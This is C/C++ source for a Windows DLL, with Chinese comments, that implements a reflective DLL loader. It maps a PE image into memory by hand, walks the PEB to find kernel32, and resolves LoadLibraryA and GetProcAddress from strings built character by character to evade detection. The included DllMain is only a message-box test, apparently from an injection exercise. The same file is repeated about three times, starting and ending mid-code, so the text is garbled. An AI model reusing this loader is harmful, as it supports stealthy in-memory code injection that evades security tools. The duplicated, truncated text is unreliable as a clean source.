//最后的操作就是修正程序的入口地址
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
FARPROC EOP = (FARPROC)((
LPBYTE
)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
EOP();
return
TRUE;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll);
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName);
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName);
void
my_wctomb(
char
* dest,
const
wchar_t
* src);
int
CompareStrings(
const
char
* str1,
const
char
* str2);
// DLL入口点函数
BOOL
APIENTRY DllMain(
HMODULE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)
{
// 弹窗代码
MessageBox(NULL, L
"哇塞!!你成功啦!!!"
, L
"注入程序检测中..."
, MB_YESNO | MB_ICONASTERISK);
char
processName[MAX_PATH] = { 0 };
// 存储进程路径的缓冲区
// 获取当前进程的可执行文件路径
DWORD
length = GetModuleFileNameA(NULL, processName, MAX_PATH);
MessageBoxA(NULL, processName,
"当前进程路径: "
, MB_YESNO | MB_ICONASTERISK);
Sleep(99999999);
return
TRUE;
}
// 自定义的宽字符转普通字符的函数
void
my_wctomb(
char
* dest,
const
wchar_t
* src) {
while
(*src) {
if
(*src >= L
'A'
&& *src <= L
'Z'
) {
*dest = (
char
)(*src + (L
'a'
- L
'A'
));
// 转换大写字符为小写
}
else
if
(*src >= L
'a'
&& *src <= L
'z'
) {
*dest = (
char
)*src;
// 保留小写字符
}
else
if
(*src >= L
'0'
&& *src <= L
'9'
) {
*dest = (
char
)*src;
// 保留数字字符
}
else
{
*dest =
'?'
;
// 对于其他字符,可以选择替代字符,例如 '?'
}
dest++;
src++;
}
*dest =
'\0'
;
// 确保目标字符串以 null 结尾
}
int
CompareStrings(
const
char
* str1,
const
char
* str2) {
while
(*str2 !=
'\0'
) {
if
(*str1 != *str2) {
return
0;
// 返回差值
}
str1++;
str2++;
}
return
1;
// 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName) {
size_t
i = 0;
while
(dllName[i] != L
'\0'
|| targetDllName[i] != L
'\0'
) {
// 将两个字符都转换为小写进行比较
wchar_t
ch1 = (dllName[i] >= L
'A'
&& dllName[i] <= L
'Z'
) ? dllName[i] + (L
'a'
- L
'A'
) : dllName[i];
wchar_t
ch2 = (targetDllName[i] >= L
'A'
&& targetDllName[i] <= L
'Z'
) ? targetDllName[i] + (L
'a'
- L
'A'
) : targetDllName[i];
// 如果字符不同,则返回比较结果
if
(ch1 != ch2) {
return
0;
}
i++;
}
// 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
return
1;
// 如果两个字符串完全相同,返回 0
}
// 提取 DLL 名称的函数
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName) {
wchar_t
* fileName = NULL;
wchar_t
* temp = (
wchar_t
*)fullDllName;
// 遍历并找到最后一个 '\\',获取文件名部分
while
(*temp) {
if
(*temp == L
'\\'
) {
fileName = temp + 1;
// 更新文件名的位置
}
temp++;
}
// 如果没有找到 '\\',则认为整个字符串就是文件名
if
(!fileName) {
fileName = (
wchar_t
*)fullDllName;
}
return
fileName;
}
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll)
{
//获取磁盘文件的DOS头和NT头
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;
//赋值DOS头
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);
//赋值NT头
//给内存分配空间,并对pAlloc进行初始化
DWORD
ImageSize = pNTheader->OptionalHeader.SizeOfImage;
//内存空间大小
PBYTE
pAlloc = (
PBYTE
)((
ULONG_PTR
)pDll + ImageSize);
if
(pAlloc == NULL)
return
FALSE;
if
(pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE)
return
FALSE;
// 无效的头,直接退出
// 手动实现 CopyMemory 的功能
BYTE
* dst = (
BYTE
*)pAlloc;
// 目标内存地址
BYTE
* src = (
BYTE
*)pDll;
// 源内存地址
size_t
size = pNTheader->OptionalHeader.SizeOfHeaders;
// 需要复制的字节数
for
(
size_t
i = 0; i < size; ++i) {
dst[i] = src[i];
// 逐字节复制
}
//复制节区表
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNTheader +
sizeof
(IMAGE_NT_HEADERS));
DWORD
SecNum = pNTheader->FileHeader.NumberOfSections;
for
(
int
i = 0; i < SecNum; i++) {
if
(pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue
;
}
char
* chSrcMem = (
char
*)((
ULONG_PTR
)pDll + (
DWORD
)(pSec->PointerToRawData));
char
* chDestMem = (
char
*)((
ULONG_PTR
)pAlloc + (
DWORD
)(pSec->VirtualAddress));
DWORD
dwSizeOfRawData = pSec->SizeOfRawData;
DWORD
dwVirtualSize = pSec->Misc.VirtualSize;
for
(
DWORD
j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}
if
(dwVirtualSize > dwSizeOfRawData) {
char
* start = chDestMem + dwSizeOfRawData;
char
* end = chDestMem + dwVirtualSize;
while
(start < end) {
*start++ = 0;
}
}
pSec++;
}
//杜哥部分登场
//开始检测并加载重定位表
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
//重定位表指针通过NT结构的数据目录表查找到位置
int
SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;
//重定位表的大小也在NT结构中
if
(pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do
{
PWORD
TypeOffset = (
WORD
*)((
PBYTE
)pBaseReloc + 8);
//跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
int
num = (pBaseReloc->SizeOfBlock - 8) / 2;
//SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
for
(
int
i = 0; i < num; i++)
{
WORD
type = TypeOffset[i] >> 12;
//TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
WORD
offset = TypeOffset[i] & 0x0FFF;
//去掉类型(前四字节)
int
differ = 0;
if
(type == 3)
{
differ = *((
ULONG_PTR
*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR
p = (
ULONG_PTR
)pAlloc + differ;
char
* tagetaddr = (
char
*)(
ULONG_PTR
)pAlloc + offset + pBaseReloc->VirtualAddress;
char
* fromeaddr = (
char
*)p;
for
(
int
c = 0;c < 4;c++) {
tagetaddr[c] = fromeaddr[c];
}
}
}
SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;
//通过字节大小来间接表示个数
pBaseReloc = (PIMAGE_BASE_RELOCATION)((
PBYTE
)pBaseReloc + pBaseReloc->SizeOfBlock);
//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构
}
while
(SizeOfBaseReloc);
}
//导入表的处理
//因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了
// 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过
// TEB和PEB的帮助找到了
//GetProcAddress的地址
typedef
FARPROC(WINAPI* GETPROCADDR)(
HMODULE
,
LPCSTR
);
//LoadLibrary的地址
typedef
HMODULE
(WINAPI* LOADLIBRARYA)(
LPCSTR
);
GETPROCADDR pGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
//得到TEB的地址,通过TEB找到PEB
PTEB pTEB = (PTEB)__readgsqword(0x30);
PPEB pPEB = pTEB->ProcessEnvironmentBlock;
// 获取PEB.Ldr
PPEB_LDR_DATA pLdr = pPEB->Ldr;
// 遍历模块列表,找到 kernel32.dll
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while
(pCurrentEntry && pCurrentEntry != pListHead)
{
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if
(pEntry && pEntry->FullDllName.Buffer)
{
wchar_t
* dllName = pEntry->FullDllName.Buffer;
// 提取 DLL 名称
wchar_t
* fileName = ExtractDllName(dllName);
// 目标 DLL 名称kernel32.dll
wchar_t
a[50] = { 0 };
a[0] = L
'k'
;
a[1] = L
'e'
;
a[2] = L
'r'
;
a[3] = L
'n'
;
a[4] = L
'e'
;
a[5] = L
'l'
;
a[6] = L
'3'
;
a[7] = L
'2'
;
a[8] = L
'.'
;
a[9] = L
'd'
;
a[10] = L
'l'
;
a[11] = L
'l'
;
a[12] = L
'\0'
;
if
(CompareDllName(fileName, a)) {
//分析PE文件找到导出表
HMODULE
hKernel32 = (
HMODULE
)pEntry->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
// 获取导出表的地址
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出表的各个信息
DWORD
* pFunctionNames = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNames);
DWORD
* pFunctionAddresses = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfFunctions);
WORD
* pFunctionOrdinals = (
WORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
// 遍历导出表,查找 LoadLibraryA
char
targetName1[50] =
"LoadLibraryA"
;
targetName1[0] =
'L'
;
targetName1[1] =
'o'
;
targetName1[2] =
'a'
;
targetName1[3] =
'd'
;
targetName1[4] =
'L'
;
targetName1[5] =
'i'
;
targetName1[6] =
'b'
;
targetName1[7] =
'r'
;
targetName1[8] =
'a'
;
targetName1[9] =
'r'
;
targetName1[10] =
'y'
;
targetName1[11] =
'A'
;
targetName1[12] =
'\0'
;
// 遍历导出表,查找 GetProcAddress
char
targetName2[50] = { 0 };
targetName2[0] =
'G'
;
targetName2[1] =
'e'
;
targetName2[2] =
't'
;
targetName2[3] =
'P'
;
targetName2[4] =
'r'
;
targetName2[5] =
'o'
;
targetName2[6] =
'c'
;
targetName2[7] =
'A'
;
targetName2[8] =
'd'
;
targetName2[9] =
'd'
;
targetName2[10] =
'r'
;
targetName2[11] =
'e'
;
targetName2[12] =
's'
;
targetName2[13] =
's'
;
targetName2[14] =
'\0'
;
int
isP = 0;
for
(
DWORD
i = 0; i < pExportDirectory->NumberOfNames; i++) {
char
* functionName = (
char
*)((
BYTE
*)hKernel32 + pFunctionNames[i]);
if
(CompareStrings(functionName, targetName1)) {
// 找到函数名,获取其地址
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pLoadLibraryA = (LOADLIBRARYA)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(CompareStrings(functionName, targetName2)) {
// 找到函数名,获取其地址
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pGetProcAddress = (GETPROCADDR)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(isP == 2) {
break
;
}
}
break
;
// 找到后退出
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if
(!pLoadLibraryA && !pGetProcAddress)
{
char
foece[] =
"无法获取 LoadLibraryA 地址,请检查目标进程模块"
;
return
FALSE;
}
else
{
char
sucsess[] =
"sucsess"
;
}
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
//这个是IID的指针
if
(pImport != NULL)
{
while
(pImport->Name != NULL)
{
char
DLLname[50] = { 0 };
// 定义一个存储 DLL 名称的缓冲区
char
* pDLLName = (
char
*)(pImport->Name + pAlloc);
// 获取 DLL 名称的地址
// 手动将名称拷贝到 DLLname 缓冲区
for
(
int
i = 0; i <
sizeof
(DLLname) - 1; i++)
{
if
(pDLLName[i] ==
'\0'
)
// 遇到字符串结束符时停止
break
;
DLLname[i] = pDLLName[i];
// 拷贝字符
}
DLLname[
sizeof
(DLLname) - 1] =
'\0'
;
// 确保缓冲区以 '\0' 结尾
HMODULE
hProcess = pLoadLibraryA(DLLname);
//通过名称找句柄
if
(!hProcess)
{
return
FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while
((
ULONG_PTR
)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
//找DLL中函数的名字
if
(pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
//判断如果是序号就是第一种处理方式
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, (
LPCSTR
)(pINT->u1.AddressOfData)));
//通过序号来获取地址
}
else
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, pFucname->Name));
//通过函数名来获取地址
}
pINT++;
pIAT++;
}
pImport++;
}
}
//最后的操作就是修正程序的入口地址
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
FARPROC EOP = (FARPROC)((
LPBYTE
)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
EOP();
return
TRUE;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll);
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName);
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName);
void
my_wctomb(
char
* dest,
const
wchar_t
* src);
int
CompareStrings(
const
char
* str1,
const
char
* str2);
// DLL入口点函数
BOOL
APIENTRY DllMain(
HMODULE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)
{
// 弹窗代码
MessageBox(NULL, L
"哇塞!!你成功啦!!!"
, L
"注入程序检测中..."
, MB_YESNO | MB_ICONASTERISK);
char
processName[MAX_PATH] = { 0 };
// 存储进程路径的缓冲区
// 获取当前进程的可执行文件路径
DWORD
length = GetModuleFileNameA(NULL, processName, MAX_PATH);
MessageBoxA(NULL, processName,
"当前进程路径: "
, MB_YESNO | MB_ICONASTERISK);
Sleep(99999999);
return
TRUE;
}
// 自定义的宽字符转普通字符的函数
void
my_wctomb(
char
* dest,
const
wchar_t
* src) {
while
(*src) {
if
(*src >= L
'A'
&& *src <= L
'Z'
) {
*dest = (
char
)(*src + (L
'a'
- L
'A'
));
// 转换大写字符为小写
}
else
if
(*src >= L
'a'
&& *src <= L
'z'
) {
*dest = (
char
)*src;
// 保留小写字符
}
else
if
(*src >= L
'0'
&& *src <= L
'9'
) {
*dest = (
char
)*src;
// 保留数字字符
}
else
{
*dest =
'?'
;
// 对于其他字符,可以选择替代字符,例如 '?'
}
dest++;
src++;
}
*dest =
'\0'
;
// 确保目标字符串以 null 结尾
}
int
CompareStrings(
const
char
* str1,
const
char
* str2) {
while
(*str2 !=
'\0'
) {
if
(*str1 != *str2) {
return
0;
// 返回差值
}
str1++;
str2++;
}
return
1;
// 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName) {
size_t
i = 0;
while
(dllName[i] != L
'\0'
|| targetDllName[i] != L
'\0'
) {
// 将两个字符都转换为小写进行比较
wchar_t
ch1 = (dllName[i] >= L
'A'
&& dllName[i] <= L
'Z'
) ? dllName[i] + (L
'a'
- L
'A'
) : dllName[i];
wchar_t
ch2 = (targetDllName[i] >= L
'A'
&& targetDllName[i] <= L
'Z'
) ? targetDllName[i] + (L
'a'
- L
'A'
) : targetDllName[i];
// 如果字符不同,则返回比较结果
if
(ch1 != ch2) {
return
0;
}
i++;
}
// 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
return
1;
// 如果两个字符串完全相同,返回 0
}
// 提取 DLL 名称的函数
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName) {
wchar_t
* fileName = NULL;
wchar_t
* temp = (
wchar_t
*)fullDllName;
// 遍历并找到最后一个 '\\',获取文件名部分
while
(*temp) {
if
(*temp == L
'\\'
) {
fileName = temp + 1;
// 更新文件名的位置
}
temp++;
}
// 如果没有找到 '\\',则认为整个字符串就是文件名
if
(!fileName) {
fileName = (
wchar_t
*)fullDllName;
}
return
fileName;
}
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll)
{
//获取磁盘文件的DOS头和NT头
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;
//赋值DOS头
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);
//赋值NT头
//给内存分配空间,并对pAlloc进行初始化
DWORD
ImageSize = pNTheader->OptionalHeader.SizeOfImage;
//内存空间大小
PBYTE
pAlloc = (
PBYTE
)((
ULONG_PTR
)pDll + ImageSize);
if
(pAlloc == NULL)
return
FALSE;
if
(pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE)
return
FALSE;
// 无效的头,直接退出
// 手动实现 CopyMemory 的功能
BYTE
* dst = (
BYTE
*)pAlloc;
// 目标内存地址
BYTE
* src = (
BYTE
*)pDll;
// 源内存地址
size_t
size = pNTheader->OptionalHeader.SizeOfHeaders;
// 需要复制的字节数
for
(
size_t
i = 0; i < size; ++i) {
dst[i] = src[i];
// 逐字节复制
}
//复制节区表
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNTheader +
sizeof
(IMAGE_NT_HEADERS));
DWORD
SecNum = pNTheader->FileHeader.NumberOfSections;
for
(
int
i = 0; i < SecNum; i++) {
if
(pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue
;
}
char
* chSrcMem = (
char
*)((
ULONG_PTR
)pDll + (
DWORD
)(pSec->PointerToRawData));
char
* chDestMem = (
char
*)((
ULONG_PTR
)pAlloc + (
DWORD
)(pSec->VirtualAddress));
DWORD
dwSizeOfRawData = pSec->SizeOfRawData;
DWORD
dwVirtualSize = pSec->Misc.VirtualSize;
for
(
DWORD
j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}
if
(dwVirtualSize > dwSizeOfRawData) {
char
* start = chDestMem + dwSizeOfRawData;
char
* end = chDestMem + dwVirtualSize;
while
(start < end) {
*start++ = 0;
}
}
pSec++;
}
//杜哥部分登场
//开始检测并加载重定位表
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
//重定位表指针通过NT结构的数据目录表查找到位置
int
SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;
//重定位表的大小也在NT结构中
if
(pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do
{
PWORD
TypeOffset = (
WORD
*)((
PBYTE
)pBaseReloc + 8);
//跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
int
num = (pBaseReloc->SizeOfBlock - 8) / 2;
//SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
for
(
int
i = 0; i < num; i++)
{
WORD
type = TypeOffset[i] >> 12;
//TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
WORD
offset = TypeOffset[i] & 0x0FFF;
//去掉类型(前四字节)
int
differ = 0;
if
(type == 3)
{
differ = *((
ULONG_PTR
*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR
p = (
ULONG_PTR
)pAlloc + differ;
char
* tagetaddr = (
char
*)(
ULONG_PTR
)pAlloc + offset + pBaseReloc->VirtualAddress;
char
* fromeaddr = (
char
*)p;
for
(
int
c = 0;c < 4;c++) {
tagetaddr[c] = fromeaddr[c];
}
}
}
SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;
//通过字节大小来间接表示个数
pBaseReloc = (PIMAGE_BASE_RELOCATION)((
PBYTE
)pBaseReloc + pBaseReloc->SizeOfBlock);
//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构
}
while
(SizeOfBaseReloc);
}
//导入表的处理
//因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了
// 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过
// TEB和PEB的帮助找到了
//GetProcAddress的地址
typedef
FARPROC(WINAPI* GETPROCADDR)(
HMODULE
,
LPCSTR
);
//LoadLibrary的地址
typedef
HMODULE
(WINAPI* LOADLIBRARYA)(
LPCSTR
);
GETPROCADDR pGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
//得到TEB的地址,通过TEB找到PEB
PTEB pTEB = (PTEB)__readgsqword(0x30);
PPEB pPEB = pTEB->ProcessEnvironmentBlock;
// 获取PEB.Ldr
PPEB_LDR_DATA pLdr = pPEB->Ldr;
// 遍历模块列表,找到 kernel32.dll
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while
(pCurrentEntry && pCurrentEntry != pListHead)
{
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if
(pEntry && pEntry->FullDllName.Buffer)
{
wchar_t
* dllName = pEntry->FullDllName.Buffer;
// 提取 DLL 名称
wchar_t
* fileName = ExtractDllName(dllName);
// 目标 DLL 名称kernel32.dll
wchar_t
a[50] = { 0 };
a[0] = L
'k'
;
a[1] = L
'e'
;
a[2] = L
'r'
;
a[3] = L
'n'
;
a[4] = L
'e'
;
a[5] = L
'l'
;
a[6] = L
'3'
;
a[7] = L
'2'
;
a[8] = L
'.'
;
a[9] = L
'd'
;
a[10] = L
'l'
;
a[11] = L
'l'
;
a[12] = L
'\0'
;
if
(CompareDllName(fileName, a)) {
//分析PE文件找到导出表
HMODULE
hKernel32 = (
HMODULE
)pEntry->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
// 获取导出表的地址
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出表的各个信息
DWORD
* pFunctionNames = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNames);
DWORD
* pFunctionAddresses = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfFunctions);
WORD
* pFunctionOrdinals = (
WORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
// 遍历导出表,查找 LoadLibraryA
char
targetName1[50] =
"LoadLibraryA"
;
targetName1[0] =
'L'
;
targetName1[1] =
'o'
;
targetName1[2] =
'a'
;
targetName1[3] =
'd'
;
targetName1[4] =
'L'
;
targetName1[5] =
'i'
;
targetName1[6] =
'b'
;
targetName1[7] =
'r'
;
targetName1[8] =
'a'
;
targetName1[9] =
'r'
;
targetName1[10] =
'y'
;
targetName1[11] =
'A'
;
targetName1[12] =
'\0'
;
// 遍历导出表,查找 GetProcAddress
char
targetName2[50] = { 0 };
targetName2[0] =
'G'
;
targetName2[1] =
'e'
;
targetName2[2] =
't'
;
targetName2[3] =
'P'
;
targetName2[4] =
'r'
;
targetName2[5] =
'o'
;
targetName2[6] =
'c'
;
targetName2[7] =
'A'
;
targetName2[8] =
'd'
;
targetName2[9] =
'd'
;
targetName2[10] =
'r'
;
targetName2[11] =
'e'
;
targetName2[12] =
's'
;
targetName2[13] =
's'
;
targetName2[14] =
'\0'
;
int
isP = 0;
for
(
DWORD
i = 0; i < pExportDirectory->NumberOfNames; i++) {
char
* functionName = (
char
*)((
BYTE
*)hKernel32 + pFunctionNames[i]);
if
(CompareStrings(functionName, targetName1)) {
// 找到函数名,获取其地址
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pLoadLibraryA = (LOADLIBRARYA)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(CompareStrings(functionName, targetName2)) {
// 找到函数名,获取其地址
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pGetProcAddress = (GETPROCADDR)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(isP == 2) {
break
;
}
}
break
;
// 找到后退出
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if
(!pLoadLibraryA && !pGetProcAddress)
{
char
foece[] =
"无法获取 LoadLibraryA 地址,请检查目标进程模块"
;
return
FALSE;
}
else
{
char
sucsess[] =
"sucsess"
;
}
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
//这个是IID的指针
if
(pImport != NULL)
{
while
(pImport->Name != NULL)
{
char
DLLname[50] = { 0 };
// 定义一个存储 DLL 名称的缓冲区
char
* pDLLName = (
char
*)(pImport->Name + pAlloc);
// 获取 DLL 名称的地址
// 手动将名称拷贝到 DLLname 缓冲区
for
(
int
i = 0; i <
sizeof
(DLLname) - 1; i++)
{
if
(pDLLName[i] ==
'\0'
)
// 遇到字符串结束符时停止
break
;
DLLname[i] = pDLLName[i];
// 拷贝字符
}
DLLname[
sizeof
(DLLname) - 1] =
'\0'
;
// 确保缓冲区以 '\0' 结尾
HMODULE
hProcess = pLoadLibraryA(DLLname);
//通过名称找句柄
if
(!hProcess)
{
return
FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while
((
ULONG_PTR
)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
//找DLL中函数的名字
if
(pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
//判断如果是序号就是第一种处理方式
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, (
LPCSTR
)(pINT->u1.AddressOfData)));
//通过序号来获取地址
}
else
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, pFucname->Name));
//通过函数名来获取地址
}
pINT++;
pIAT++;
}
pImport++;
}
}
//最后的操作就是修正程序的入口地址
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
FARPROC EOP = (FARPROC)((
LPBYTE
)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
EOP();
return
TRUE;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll);
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName);
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName);
void
my_wctomb(
char
* dest,
const
wchar_t
* src);
int
CompareStrings(
const
char
* str1,
const
char
* str2);
// DLL入口点函数
BOOL
APIENTRY DllMain(
HMODULE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)
{
// 弹窗代码
MessageBox(NULL, L
"哇塞!!你成功啦!!!"
, L
"注入程序检测中..."
, MB_YESNO | MB_ICONASTERISK);
char
processName[MAX_PATH] = { 0 };
// 存储进程路径的缓冲区
// 获取当前进程的可执行文件路径
DWORD
length = GetModuleFileNameA(NULL, processName, MAX_PATH);
MessageBoxA(NULL, processName,
"当前进程路径: "
, MB_YESNO | MB_ICONASTERISK);
Sleep(99999999);
return
TRUE;
}
// 自定义的宽字符转普通字符的函数
void
my_wctomb(
char
* dest,
const
wchar_t
* src) {
while
(*src) {
if
(*src >= L
'A'
&& *src <= L
'Z'
) {
*dest = (
char
)(*src + (L
'a'
- L
'A'
));
// 转换大写字符为小写
}
else
if
(*src >= L
'a'
&& *src <= L
'z'
) {
*dest = (
char
)*src;
// 保留小写字符
}
else
if
(*src >= L
'0'
&& *src <= L
'9'
) {
*dest = (
char
)*src;
// 保留数字字符
}
else
{
*dest =
'?'
;
// 对于其他字符,可以选择替代字符,例如 '?'
}
dest++;
src++;
}
*dest =
